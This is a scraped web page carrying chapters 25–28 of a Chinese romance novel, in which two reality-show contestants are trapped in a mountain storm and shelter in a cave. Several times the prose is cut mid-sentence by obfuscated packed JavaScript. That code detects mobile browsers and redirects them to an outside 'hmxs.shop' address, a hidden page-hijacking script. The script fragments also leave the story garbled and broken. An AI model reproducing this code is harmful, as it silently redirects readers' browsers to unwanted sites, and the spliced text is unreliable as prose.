l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992415|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 晏川还仰着头。 牧阳顺着他的目光看过去。天上什么也没有,她实在不明白有什么好看的。 “我……”晏川发觉牧阳就站在自己身边,鼓起勇气开口。 “有事下了节目再说。”牧阳拍拍他的肩。 这个人从昨天就开始鬼鬼祟祟的,不知道准备和她说什么。牧阳想,年轻人就是藏不住心事,这种又仿佛做贼心虚,又仿佛理直气壮的样子,一般就两种可能。 要么是他打算和她谈判,要和她签约,出道成为流量明星;要么是他真的不想努力了,想借此机会假戏真做,和她有进一步发展。 年轻男大学生正是血气方刚的年纪,他一时头脑发热可以理解,等下了节目分开冷静一段时间,不管他想谈什么都好谈很多。 牧阳打定主意不让晏川说任何可能改变他们关系的话,想了想,又安抚地对他笑:“等会的集体活动,有什么想法?” “我估计挑战不会简单的,”晏川立刻跟上她的思路,“我们需要尽可能用资金兑换能应对多种情况的道具。” “你觉得会是打卡任务类挑战吗?”牧阳总觉得不会这么简单,今年都给他们拉练到稻溪这种地方了。 晏川摇摇头:“你看导演组的手势。我估计是生存挑战。” “你连他们这么连比带划的都能看得懂?”牧阳这下真的好奇了。 “那个女导演看起来很紧张。你看她的手势频率,”晏川悄悄凑近牧阳耳边,“她好像在比划腿的位置。” “那是夏夏他们那个组的组长,”牧阳认出来了,这回看懂了,“她应该是在说夏夏膝盖受伤的事情。” “刘导想坚持他的计划,每次这个组长发言,他就看别人。”晏川指出关键。 “你说得对。那大概率就是生存类挑战了。”牧阳站直了,轻咳一声,“我再去多吃个肉包。”因为提前醒,她其实不饿,早餐只吃了一点点。 “嗯。”晏川也继续喝咖啡。 牧阳很干脆地去找工作人员礼貌要早餐。场务很热情地又给了她一份早餐,牧阳把袋子拆了,只拿了其中的两个肉包。 “你们嘀嘀咕咕什么呢?”沈蔷薇也凑过来,“你没吃早餐?” “再吃点,怕等会运动量大太饿。”牧阳说。 沈蔷薇也顾不上要和牧阳说事了:“今天的任务运动量很大?” “猜的。”牧阳没说话了,只管咀嚼。 沈蔷薇立刻从拆开的袋子里顺走鸡蛋,剥开吃了半个蛋白,就举着鸡蛋找贺平去了。 不过,晏川和牧阳到底还是猜错了,最后公布的挑战方式是寻宝越野。 “理解,走进你的世界。”牧阳读出第四天的小标题。 晏川重复了一遍标题:“理解。” “可以拿资金兑换道具了,”牧阳撺掇晏川去选道具。 道具不是常规物品,一切都贵得离谱。 “线索卡还是要买一张吧……关键时刻可以提供一次提示呢!”牧阳觉得这个最有性价比。 晏川指了指另一边的干扰类道具:“要不要囤一张时间卡,免得别的组买去,偷走我们的时间。” “你说得对。”牧阳同意。两人的资金有限,很快决定买下的东西。越快选完越早出发,两个人在竞技条件下目标一致,配合得实在默契。 “我们走吧。”晏川牵住牧阳的手。 “等下。”牧阳放开晏川的手。 25. 【二五】 晏川怔怔收回手,手指在身侧攥紧。 她果然还是…… 牧阳没注意晏川的神色,她疾步走回交易点,指着桌上角落里的零食问导演:“这个巧克力也可以换吗?” 这个零食堆明明那么显眼,但刚才愣是三个组都没人看见! ……好吧,其实是因为这些零食和会议室里的一模一样,录制的时候反而会下意识把这个当成等会场务要发的慰问。 没想到导演真的答应了:“可以啊,二十元一条。” “这么贵!”牧阳瞪刘导,“十五元,不然不买。” “那十元给你。”刘导立刻改口。 “这么便宜!”牧阳立刻出手,“来两条。” 晏川讶然看着牧阳往口袋里塞了两条巧克力,还没来得及开口说句什么,就被她拽着跑了:“快!别被沈蔷薇他们赶上!” 他俩一跑,连带着跟组的摄像大哥也要一起跑,跟组的编导也从后发车。 两人牵着手疯得像私奔,手里的地图在风里卷起,留下手指抓痕的皱褶。 晏川没想到牧阳体力这么好,两人跑了将近两公里没停过。 牧阳看到了第一个打卡点,就手撑着腿休息,让晏川读任务规则。 毕竟是自律又年轻,晏川的体力当然比牧阳好不少。他念完规则,发现牧阳还在休息,不由地担忧起来。 “没事,别扶我,我可以。”牧阳摆摆手,“够了,我们来做任务吧。” 晏川不明白她为什么这么拼:“我们应该可以不用做得那么快?”他还记得牧阳前几次活动是怎么因为他俩完成得太快,不得不又开始找机会整活的。 “……我有不好的预感,”牧阳皱眉,“我宁愿就是……后面再从容点。” “哪方面的不好的感觉?”晏川感觉背后一凉,面上仍保持平常。 “说不清楚,”牧阳摇摇头,但是又忍不住戳他一下,“但其实,还真不好说,因为我之前有几次预感还蛮准的。” 她都这么说了,没想到晏川一点也不反驳。他盯着她戏谑的脸,竟然认真严肃地点点头,深表赞同似的:“我相信你。有些时候直觉是很灵的,你也要相信自己。” 牧阳没想到晏川会这么说。 这话简直像她自己会说的一样,现在竟然能从别人嘴里听到。她觉得有点好玩,又感到荒谬得可笑,于是改戳为推,拍了他一记:“行了,别管了,我们快把任务干掉。” 两个人开始对着规则书做任务。节目组的这种小任务对他们来说难度不大:晏川聪明又配合,牧阳会解码小游戏的根本目的,她奇招还多。 两人一扭限时答题的惨况,这次的“同心天平”赢得像他们本来就同一个人。 顺利得可怕。 两人手牵着手又往下一个任务点走。上坡路变得陡峭,不再那么好走了。 “这一段路滑,你抓紧我。”牧阳扭头对晏川说。 晏川在她身后,仰着头笑:“嗯。” 牧阳低下头。 她下意识想着自己是本地人又比他年长,所以总喜欢照顾他,实际上晏川体力比她好多了。 所以是不是下一段找个借口,换晏川拉她上去更好? “……啊!” “怎么了?”晏川焦急地从背后抵住牧阳,没让她滑下来。他支撑着她,两人的距离更近了。 牧阳还没反应过来呢,他急急忙忙往她身上看:“你没事吧?” “没有,就是脚打滑了一下。”牧阳笑了,“紧张什么。我和你已经领先那么多了,这一段走慢一点也不要紧嘛。” “嗯。”晏川点点头,“你要注意安全。” 牧阳又想上手摸他头发。 晏川对她的手势也很熟练了,下意识低下头准备被她薅一把。 “不对。”牧阳沉下脸。 “怎么了?”晏川立刻紧张起来。 “我的巧克力,”牧阳冷静地说,“买贵了。” “啊?”晏川没反应过来。他愣了好几秒,才回神:“刚刚刘导卖给你的那两块巧克力?” “对。”牧阳煞有介事地点头,“完了。当时就应该让他白送给我。” 晏川连忙安慰她:“我们赶时间,姐姐已经尽力了。” 牧阳看着他真诚的眼神,忽然生不起气来。她故意连跨两级台阶,走了很险的一步,把他往身后甩。 晏川果然眼巴巴跟了上去,如水的眼眸泛起波澜,像委屈得要落泪一般。 牧阳看他这样,什么重话也不想和他说了,连生气抱怨自己的话都转了个调:“我就是觉得导演太不厚道,这明明是剧组的免费零食。” “对。”晏川笑迷了眼。 牧阳叹气。 下一个任务平台到了。她干脆挽住晏川的手,两人一起走过去:“你向着我,我说什么都是对的?” “当然啊。”晏川点头。 牧阳拍拍自己挽住的那只胳膊:“佞臣。” “那陛下会宠我的吧?”晏川很上道。 “……你,”牧阳只觉得额角突突跳,“你去把规则读了,快去。” 晏川当然只好走到KT板前,把节目组早就准备好的规则读出来。牧阳在一旁看地图,还对镜头挤眼睛。 后采的时候再告诉你们,我们是怎么绕过节目组布置的陷阱,直接发现这里的! 晏川读完规则,发现牧阳在镜头前比划,根本没有看自己。他的嘴角克制不住地下撇。一想到他将要告诉牧阳的事情,他就有点难过。 “好了,我们开始吧!”她转过头,笑着看向他,甚至伸出手靠近他,两人抱了抱。 很亲昵的感觉。 自然的亲密,热恋的爱侣。 一点破绽也没有。晏川盯着牧阳的眼睛,只觉得这灰蒙蒙的山峦之中,只有她最是明亮。 “……在听我说话吗?” 晏川眨眨眼。不知不觉看入了神,他反应过来的时候,才发现牧阳的嘴巴动了好久。 “……好吧。”牧阳若无其事地转过身去,“就当我刚刚没听你读题的报应。重来,重来。” 怪这两个人跑得太快,现在奢侈得把时间当沙子玩,任由它流过狭窄的管道,消失在另一边。 晏川这回好好听牧阳布置了。 但牧阳反而对晏川说:“干脆你来安排吧。” “我?”晏川听她这样说,下意识就有些犹豫,“我会好好听……” “你安排!”牧阳强调,“自信,我相信你。” 晏川还想推让,牧阳却挥挥手:“来,绑我。” 听到指令,晏川下意识照做。编织带从一开始就被他拿在手里,此刻当然直接上手,在她手腕上缠了一圈。 “……好奇怪的话。”晏川说。 牧阳抬脚就要踢他,晏川像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“呼——”两人绑着的手一被解开,牧阳就甩着僵硬酸痛的手腕转过身,“多亏了你的指挥,不然不知道最后这个东西怎么钻过去。” “我的角度看它更清楚一些。”晏川实话实说。 牧阳拍拍他的肩:“酸不酸?” “嗯?” “手。” 晏川反应过来:“还好。” 牧阳狐疑地看了一眼晏川红了的手腕:“难受和我说。” 晏川立刻把两只手往前一递:“有点麻了。” “麻了?”牧阳迟疑地看这两只手。 “你牵一牵,”他说,“我感觉一下。” 牧阳没好气地举起两只手,像是向他投降了,把两只手叠在他摊开的手心里。 “怎么样?”她问。 “好多了。”晏川点点头,就要去包她的手。 两人正演得起劲,轰然一声巨响从他们的头顶劈下。 “什么声音?” “咦?” “发生什么了?” 牧阳和晏川也抬起头。 一朵巨大的乌云盘旋在他们头顶,近的好像活物一样在呼吸。 大雨滂沱,倾盆而至。 26. 【二六】 “快走!”牧阳当机立断,招呼大家下山。 暴雨很可能造成山体滑坡、泥石流。牧阳不敢想下去,她拉着晏川往山下跑,催身后的编导们快走。 看到一个摄像还在收机子,牧阳恨铁不成钢去催:“快点!直接带走!别收拾了!” 摄像人简直把机子看得比命重,此时加快了收拾的进度,终究是耽误了时间。 雨水砸在每个人的头上,把所有人浇得湿透。 在巨大的雨声中,人和人是听不见对方说话的。牧阳扯着嗓子吼,让所有人尽快下山。 “快跑!”牧阳推着晏川往身下跑,两人前面的一个女编导忽然摔倒了。 晏川拉着牧阳的手被松开了。 他回过头,看到她蹲在那个女编导身边,把她从地上扶起来。他转过脚步,走到另一边。 牧阳贴着女生的耳朵喊:“还能走吗?” “能!”女生一瘸一拐地跟上她。晏川赶到另一侧,和牧阳一人一边搀着这个女生往山下走。 “老师!”跑在前面的编导又跑回来了。他们带人接过晏川和牧阳扶着的女生,喊他们:“你们先走!” “快!一起!”牧阳指挥他们赶紧往前。 雷声。山地此刻无比湿滑,鞋子贴在石板路上,就像踩在滑梯上一般。 滑倒的人自己爬起来再往下走,也顾不得自身的伤势。 牧阳和晏川跟在最后面。 同心天平此刻被雨浇倒了,变成了一地废品。现在大家也顾不上收垃圾,纷纷越过平台,往下走。 “小心——” 不知道从哪里传来的声音。 这声音仿佛很近,又仿佛很远。 此刻她听不见了。 一棵老树,正朝着他们的方向倒下来。 牧阳几乎是本能地拉着晏川往侧面跑。 两人硬生生改换方向,避开了倒下的大树。然而,原本要下去的方向,湿滑的小路彻底成了一条浸满杂质,奔流不息的溪流。 他们下不去了。 晏川看着她,眼神好像要绝望了。他似乎在对她说着什么,嘴唇一张一合。她听不见,拼命扯着他往上走,指向一处突起的山包。 一个小时后。 雨变小了。 从翻转水盆变成了均匀的花洒。 山洞很浅,开口也显得有点大了。一块破了的KT板靠在洞口,勉强算是挡风。 洞内光线不佳。 一簇火苗从牧阳掌心升起。 “太好了,能用。”火苗熄灭,牧阳高兴地捏着手里的打火机,“幸好捡到同事留下的包,我们会没事的。” 两个人的贴身衣物都还粘在身上。外套倒是脱下来放在一边,留给地面一滩水。尼龙布的户外包倒是没有中招,这是来到这处平台的时候,牧阳从水里捞出来的。 半个小时前,牧阳拉着晏川往斜上方走,两人跋涉过一段泥地,来到了一处被雨击落飘摇的营地。 这是地图上陷阱的位置。 节目组等着嘉宾在这里中招,牧阳看地图的时候看明白了,就直接带着晏川绕过这个方向。 惩罚说明书此刻变成了挡风板,包在塑料布里的游戏道具他们也搬了回来,连之前的工作人员落下的包,他们也一起捡走带到了山洞里。 虽然地图上的提示有“洞”的字样,但山洞到底存不存在,牧阳也是赌了一把。 好在她赌赢了。 但是,显然这个山洞也是节目组特意挑过的,洞口大而且浅,方便采光拍摄。 即便是这么大的雨势,她仍然能够看得清对方的脸。 头发丝丝缕缕地贴在他额上,眼皮也半耷着。湿透的衣物透出他肌肉的轮廓,牧阳没有再往下看。她想了想,缓缓撕下日程本上的纸,用打火机点燃它。 火光映亮的一瞬间,她看到他眼神里的惊恐。牧阳面不改色地让纸张落在那两根交叉的长筷子上,伸手去拿旁边的竹片。 “不冷吗?”她问,“生火吧,反正也用不到了。” 日程本也是在包里发现的。那位工作人员明显也是轻装简行,包里没几样东西,最值钱的估计就是这个包本身。里面的充电线竟然本来就是断的,剩下的那个充电宝倒是还有电,但也只剩一格了。 “可惜了,这个日程本里写的笔记还不少呢,这个小孩倒是蛮认真的。”牧阳一边嘴上说惋惜,一边一页一页撕下来往火堆里扔。 晏川看着因为燃烧,时不时发出噼啪声的火堆。 他的声音都哑了:“接下来你想怎么做?” “等救援啊。”牧阳说得轻松,仔细一听,尾音却是发颤的,“等天黑一点,我们就拿这个充电宝照一下,争取用光打个SOS的求救信号来。” “好。”他肯定她,“那等会我们就做。” 在大树倒下的那一瞬间,晏川什么都想过了。 他几乎是本能地想把牧阳推开,保护她远离那样的危险。但是牧阳拉住了他,带着他要一起逃走。 她一直都是这样不放弃,每一秒都在找求生的出路。他以为他们会一起下山,结果下山的路被雨水冲刷封死。晚一步,这里就会彻底沦为泥石流冲刷地,把他们卷入万劫不复。 ——我们要死在这里了吗? 他张开口,却发不出声音。 大雨落入他的眼眶,比泪水还要汹涌。 ——对不起。 ……我爱你。 牧阳握着他的手,把他往一个方向拖。 “我……” 他看着她的口型。 她想说“我”什么呢? ……不是“我”,是“走”。 他看错了。闪电再次划破天空,晏川跟着牧阳飞快地往她指的方向跑。 两人的脚都差点陷在泥里了,好不容易才见到了这处山洞,牧阳立刻就拉着他闯进去。 她被雨淋得湿透,明明该是很狼狈的时候,她却好像一团燃烧的烈火,爆发出磅礴的生命力。 “我去捡点材料!”她说。 这次他听清了。 “我和你一起。”他立刻提议。 牧阳没拒绝:“我这边,你那边,不要离开山洞超过十米,拿多少算多少,不要贪恋,数十个数,马上回来。” “好。”他同意。 于是有了裹在塑料布里的惩罚道具,超长筷子和贴字小竹片。还有了这个没来得及被卷走的包,可以挡住一点风的挡板。 有了火,人的体温上来一点,好像希望也就大一点。 牧阳没话找话似的说道:“他们肯定在费尽心思捞人。这算重大节目事故了,小春估计这两年有的麻烦。” 晏川听出来牧阳在焦虑。 她并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992417|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是不害怕,只是装作运筹帷幄的样子,试图掌控局面。 晏川看得明白,于是他放轻声音,顺着她的话往下接:“这算很严重的节目事故吗?” “那当然!”牧阳说,“要是我们死了,主办得赔死,小春也不用混了。” 说到这里,她又叹了口气:“我担心还有其他人出事。要是有人失踪或者出了事,就很不好办了。” 晏川也只能说些安慰的话:“我们走在最后,他们都下去了,会没事的。” “嗯。”牧阳话锋一转,忽然目光灼灼地看向他,“我们出事其实也没事。” “嗯?”晏川被她这话吓了一跳。 “我们有商业险,”牧阳笑着说,“嘉宾都有,赔的很多,放心。哦对,最好还是活着出去,他们照样会赔,纯赚。” “纯赚。”晏川重复。 牧阳笑开了。笑声在空荡的山洞里怪有些渗人的,她笑了几声,又不笑了。 “幸好有你发现这里。”晏川定了定神,“其实……” “还得亏有你拉着我呢!”牧阳也反应过来,“差点我就被冲走了,还得是你劲大。你应该很要钱吧,保险公司不会那么快打款,出去我先给你一笔感谢费好了。” 晏川愣在原地,他发觉自己有点跟不上牧阳的节奏:“……钱?” “算了,现金容易被抓把柄,我送一辆车给你吧。”牧阳说,“房子就算了,房子我觉得人还是得自己挑。而且你还年轻嘛,以后去哪里发展不一定,车子的话你可以直接开回学校啊。” 晏川刚要开口,牧阳就竖起一根手指。 “没事,让我猜猜你喜欢什么车。新能源的车怎么样?这个比较时尚,圈里很多小年轻都在开。小喻当初发过我一个车牌,叫什么来着……”牧阳一时想不起来。 “……我不要!”晏川终于找到时机打断她的话。 牧阳愣了一下。火焰在他的眼瞳里燃烧。 “我会写自愿赠与的,”牧阳笑了,“还是你觉得现在荒郊野岭逍遥法外的,我不能给你立字据?我的人品你真的可以放心……” 晏川忽然站了起来。 牧阳被吓了一跳,她僵直着手臂,只有小指头的关节微微一颤,暴露了她的紧张。 要是他有什么动作的话,她还来得及把那根没有烧到长柄上的筷子抓起来。那个包可以直接夹着走,顶在头上也可以挡雨。 然而,晏川只是挪了一个身位,重新在她身前坐下。 他伸出两只手,摊开手掌,举在两人面前。 “……你投降?”牧阳看不懂他的动作。 晏川无语凝噎,把手往高举了举:“好吧。” “所以你要干什么?”牧阳这下真的好奇起来,那种紧绷感也不再加剧。 “我在你面前,”晏川抬起眼睛,视线转过两人的头顶,又落在他自己的手上,“我不会跑、不会动,我的手会一直停留在你的视线里。” 牧阳犹疑地升起自己的双掌,和他双掌相击。 “你的手好冷。”而且还有一点雨水残留的触感。 “我没烘手。”晏川依然把手放在她面前,保证她能看见,“我是说,我们现在可以重建信任……谦谦姐姐!” “……嗯?怎么了。”牧阳做贼似的匆忙回头。 晏川叹了口气:“从沟通开始,好吗?” 27. 【二七】 “什么从沟通……” “好好说话。”晏川忍无可忍道,“我们认真谈一谈。” “好霸道啊……” 牧阳的怪话说到一半,忽然发现两只手举得更高了,直接伸到她面前:“我是认真的。其实我有一件事没告诉你。我可以任你处置,但是请你严肃地听我讲完……谦谦姐姐,其实我……” 明明火光已经挪到侧面去了,他的眼睛怎么还是那么亮? 他是有点生气了吧。 明明这个时候应该集中精神听听他想说什么的,可是他生气起来的时候也那么可爱,眼尾被火光映出一点泛红,让人想用指腹按住去揉。 嘴唇也好看。 她很想找机会夸一下这张嘴的,毕竟她就是喜欢这样的唇,所以起心动念,要和他玩。 “……我在节目里的表现估计会不太好,有给你拖后腿,和我们之前准备的也不一样。” 晏川深吸一口气,终于把他想说的说了出来,“因为,我……” “第一次上节目,你又是个没有经过培训的素人,表现得像个人已经很厉害了!”牧阳抬手拍拍他的肩,“不用这么纠结,放宽心!” 晏川刚到嘴边的话被一下子拍晕了:“……啊?” “说实话,公司里好多练习生比你难带多了。”牧阳的注意力终于被他的话拉了回来,讲起公司的业务,她也精神了,“总之你放心,你的表现已经非常优秀!而且,我说实话,从整体效果上来看,你最后的风评应该会比姚柯叶和贺平强。” 不过,一个男嘉宾风评好,一般不是他因为他做了多少让女观众欣赏的事,而是同期其他的男嘉宾作妖太多,对比产生美。 贺平是导演不是流量小生,他不需要这方面的名声。甚至,他就是为了捧自己女朋友来的。一个扛火线的男嘉宾很重要,与之相对,也会有一个被集火的女嘉宾。 不过,现在不好说了。 牧阳给晏川掰开来分析:“节目效果简直不要太好,完全不用担心。” 晏川一直听她分析,此刻也反应过来:“所以小春一定会在后期上尽可能地完善我们的人设,确保不抹黑我们,甚至会美化我们的形象?” “对,甚至补镜头补采访给提示,”牧阳解释,“小春可一点也不敢得罪我们。我们在这里多待一秒,节目的事故就越容易被曝出去,到时候纸包不住火,她可耽搁不起。” 而且,如果他们出不去的话……节目也会赔偿、下线。他们生前最后的影像,是不可能剪出去供人评判的。 退一万步说,小春也不会做这种事。 牧阳心想,前者是她对于利春立场的判断,后者则是基于她对她的了解——野心、为人、能力。就像她愿意等待救援,等于利春找到他们一样。 “所以他们一定也在拼命找我们吧。”晏川跟着松了口气。 “嗯……哎!不对,你刚刚叫她什么?”牧阳反应过来。 “小春……”晏川看牧阳脸色变了,一下紧张起来。 是不是不小心叫得太亲近了? “没大没小啊!以后可别和别人说是我教的!在外面,遇到人家,记得叫小春姐。”牧阳竖起手指,提醒晏川。 “嗯,我会的。”晏川点点头,“小春姐,慧姐。” “你以后要认识的姐姐多了。”牧阳说。 晏川的瞳仁微微放大了一些:“……会吗?” 他会……继续留在她身边吗? 可是…… “我……” 话音未落,牧阳一歪头,竟然又靠在他的肩上。她好像不习惯这么盘坐,可是山洞里站着又冷,躺着也不舒服。 “你不累?也靠着我吧。”牧阳说。 不说还好,她这样一提,晏川竟然直起身,她也不得不从他肩上弹开了。 “不是这个,我没说完……”晏川赶紧道,“我来到你身边其实另有目的,明煊娱乐——” “明煊娱乐?!”就仿佛关键词被触发一样,牧阳几乎要从地上跳起来。 “他们那群贱人,把江百川那个糊涂蛋挖走了!”牧阳听到这名字就来气,现在四下无人她演都不演了,“该死的你别提了,那个笨蛋我真的说他说了十年我已经说累了,要不是他那张脸他那个可怜兮兮的态度我早就把他给放生了!” “高明煊更是贱人中的贱人!我要是活着出去一定把他干倒闭,该死的贱人!我做鬼也会拉他一起做鬼!该死的,吸血虫、神经病、毒癞蛙、画皮人……” “你刚刚是说了蟾蜍吗?” “蟾蜍?没那么可爱!高明煊,贱人中的贱人……” 牧阳骂着骂着,听到对面努力憋笑,又实在忍不住的笑声。 “省点力气,”他忍住笑,扶住她的胳膊,“等会想喝水了怎么办?” 牧阳当真收声不再说话了。她低下头,不去看晏川,假装自己在专心地烤火。 “雨势好像小一点了。”晏川观察门口,“我去看看?” “去。”牧阳也看到了天色,“手电筒。” 她把充电宝抛给他,他一抓就接到了。牧阳给他一个大拇指。 晏川到门口去观察情况,隐约能看到洞外的手电筒光时强时弱,模拟着求救信号。 这期团体行动,为了防止作弊,是让所有嘉宾交出自己手机的。牧阳多个心眼,在口袋里放了备用机,但这也只有到了有网的地方才能用。 “早知道插张卡了……应急用品,果然还是得买一些,”牧阳想着,“以后但凡是户外活动,还是要准备……” 没有那许许多多的娱乐设施,没有浩博如烟海的信息。 牧阳忽然感觉到片刻孤立的寂静。 山洞里回荡着她的喃喃自语,回应她的只有山洞缝隙出落下的水滴。也许千万年后,这里也会长出钟乳石,又或许,根本不可能有这样的一天。 雨幕中,闪烁着信号的光似乎远去了,又似乎消失了。 她刚才有点怕他。孤男寡女,荒郊野岭。 许诺利益稳住他,说些软化安抚他,适当强势,适当示弱……无数在名利场阴暗面锻炼出的危机在生死时刻救过她的命。但是他不着痕迹地相让,把自己摊开在她眼皮底下。 这对牧阳来说,更陌生,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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……就这么一个动作,血流得更多了。 牧阳心急得不行:“不能这样!我们得做点什么——这个包不知道是小哥还是小姐姐的,怎么连个应急的创可贴都不准备!” 她已经开始气到迁怒其他人了。 “我们也没有准备,这个谁也算不到的。”晏川看着她四处逡巡的目光,反而伸出另一只完好的手拉住她,“真的没事,很快就愈合了。这种伤口都是看着吓人,其实很快就能自己止血了,没关系的。” “真的吗?”牧阳盯着这沾血的手掌,只觉得不安。 “嗯,”晏川弯起嘴角,“担心我?” “当然啊,你不知道我有多担心你……”牧阳脱口而出,眼睁睁看着晏川嘴角的弧度越来越大,她硬生生接道,“你出了事就不好了。两个人生存概率更大,你懂不懂?” 晏川笑着点点头:“嗯。” 28. 【二八】 “就知道‘嗯’。”牧阳没好气地瞪他一眼,故意给他掰手指,“我们两个人轮流出去,轮流守夜,互相帮助,简直就是……并肩作战的战友了。” 她煞有介事地拍拍晏川的肩膀,却不料晏川夸张地倒吸一口气:“嘶……” “怎么了?肩膀也受伤了?”牧阳连忙凑过去看。 晏川闭着眼睛点点头:“好像是拉伤了,有点疼。” “拉伤?不是在外面撞倒哪里?”牧阳不确定地凑过去,“不行,我把你外套脱下来看看。” 晏川忍痛点点头,没说话。牧阳性子急,直接去扯领口,发现衣服湿黏黏的,紧紧粘在他身上。她没多想,直接伸手向下,解开他领口的两颗扣子。 这一解,她下意识咽了咽口水。 不行!都什么时候了想这些! 牧阳正了正神色,低头把晏川的衣服剥下来,有一种小时候剥松子的感觉。 有点难,但是很美味。 “不是!” “嗯?”晏川迷迷糊糊地贴在她耳边问。 “……哦哦,没事,等我看一下。”牧阳拍拍自己额头,“我看看。” 她碰了碰他的肩部:“疼吗?” “好像还好?” “这里?”她换了个位置。 “这里没问题。” “那这样?”她轻轻捏了一下,立刻听到他吃痛的声音。 “拉伤了……看起来不是撞的,没有乌青。”牧阳判断了一下,忽然拉开距离,看向晏川。 晏川似乎也没预料到她的举动,此刻怔怔看着她。 ……好温柔的眼睛。 牧阳眨眨眼,视线在他两肩之间转了一圈,又判断了一遍:“不是我刚刚靠的那边。” “不是。”晏川说,“应该是刚才出去外面发信号的时候没注意。” 她立刻露出了心疼的表情,像是下一秒就要把他搂在怀里,摸摸他的头说“辛苦了,好可怜”。 他眼巴巴地看着她,结果她的目光心疼,本人却是和他拉远了距离:“拉伤了就不要动那边的肩膀。你放松,不要碰那边,也不要做动作,有什么需要拿的,我来。” 晏川看着牧阳给火堆添柴:…… “谦谦姐姐,”他忍不住问她,“我做这些事,你不会生气吗?” “什么事?”牧阳回过头。 “我是不是不该找你的?”他的声音很轻,“我给你添了麻烦。” “不,千万别这么想。”牧阳连忙放下手上的半截树枝,抓住他另一边的那只手,两手握住,像是要把源源不断的热量传递给他,“你很好。你帮我解决了一个超级大麻烦。” “嗯。”他垂下眼,头低得更低了。 牧阳心早软了一半,此刻连忙伸过两手,去捧他的脸:“小川!” 他倏而抬起眼来看她,两只眼睛里全是她的样子。 牧阳捧着他的脸,微笑着凑近他说:“你特别特别好。” 她说他特别特别好。晏川迎着她此刻柔软的、包容的目光,小心翼翼地、试探地提问:“那……” 这双眼睛好奇地等着他的下文。 “那……”他低声问,“可以奖励我吗?” 奖励…… 没等牧阳开口,他就用那只刚被她握过,捂暖过的手贴在她的手背上:“离我再近一点。” 牧阳只觉得他的手掌很烫……他的整个人身上都热乎乎的。 天黑了,没了阳光的山里温度可想而知。哪怕烤火,身上也还是冷的。 只有人,还在源源不断地散发热量,越是靠近彼此,越是能够感觉到这股亲近的热意。 他引着她的那只手往后,贴近他的耳垂,沿着下颌线向下:“我有点冷……” 牧阳的手被他带起,身体下意识贴近他,半跪着的那条腿不稳,几乎要坐到他的腿上。 他立刻抬起另一只手去扶她。手托住她大腿的一瞬间,肩膀上的痛处传来。他用力抿紧嘴唇,然而有什么东西彼此摩擦,发出清脆落地的声响。 牧阳手快,立刻从两人腿边捡起它们:“天呐!” 是两条巧克力! 是他们花了二十元资金兑来的巧克力! 除了早饭再没进食过的两个人简直是眼底放光,像冒险家看见了宝藏一样凑在一起盯着这两条巧克力。 “太好了。”牧阳忍不住说。 “好吃的。”晏川也开心极了。 “一人一条。”牧阳递给晏川一条,忽然又收回手。 他看着她,竟然也没有不高兴:“都给你吃。” 牧阳挑眉:“什么啊,你那只手不能使力,我给你撕开。” 她撕开包装纸,把巧克力递到他嘴边。 晏川下意识张口去咬,就着她的手吃了起来。 他吃东西的样子怎么也这么可爱呢? 她盯着他入神,等反应过来的时候,巧克力已经被吃掉了好几块。 “不对,你另一只手不是好的吗?”牧阳反应过来。 晏川的另一只手托在她背上,此刻嘴里嚼着巧克力,没说话。 她低头,这才发现她一直坐在他腿上,连忙往旁边一跨,挪到他旁边,不看他。 剩下两口的巧克力也直接不拿了,直接连着包装扔在他身上。 晏川面不改色地捡起来,单手灵活地扒开重新折起的包装纸,露出最后两块巧克力。 她盯着他细长、灵活的手指看了一会,忽然愤愤地撕开自己这块巧克力的包装。 ……巧克力是无辜的。 闻到这股令人安心的香气,牧阳心里那股焦躁的情绪仿佛又消失了。她慢慢地凑近包装,仔细感受着它的香气,直到鼻腔彻底满足,才慢慢张口,将顶部的一块巧克力小心咬下。 晏川吃完了自己的,此刻正看着她吃巧克力的样子。 他想起她以前吃巧克力的时候。 也是这样,宝贝得不行的样子。 “谦谦姐姐,”他问,“你为什么这么喜欢巧克力?” “喜欢巧克力……”牧阳只觉得满齿芬芳,“不是很正常吗?” “很正常?”晏川讶然。 “你不喜欢吗?”牧阳细数巧克力的优点,“它很香,有很特别的香味,而且它的味道可以选,有很多惊喜。它还可以和其他味道结合在一起,变成牛奶巧克力、榛果巧克力、抹茶巧克力……” 越说越饿,牧阳赶紧跳过这个话题。她轻咳一声,摩挲着手上的巧克力包装纸:“而且,它很时髦。” “时髦?”晏川有些茫然。 “我小的时候,能吃到一块巧克力不容易。”牧阳盯着手上的包装纸,“只有逢年过节,我父母给舅公舅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 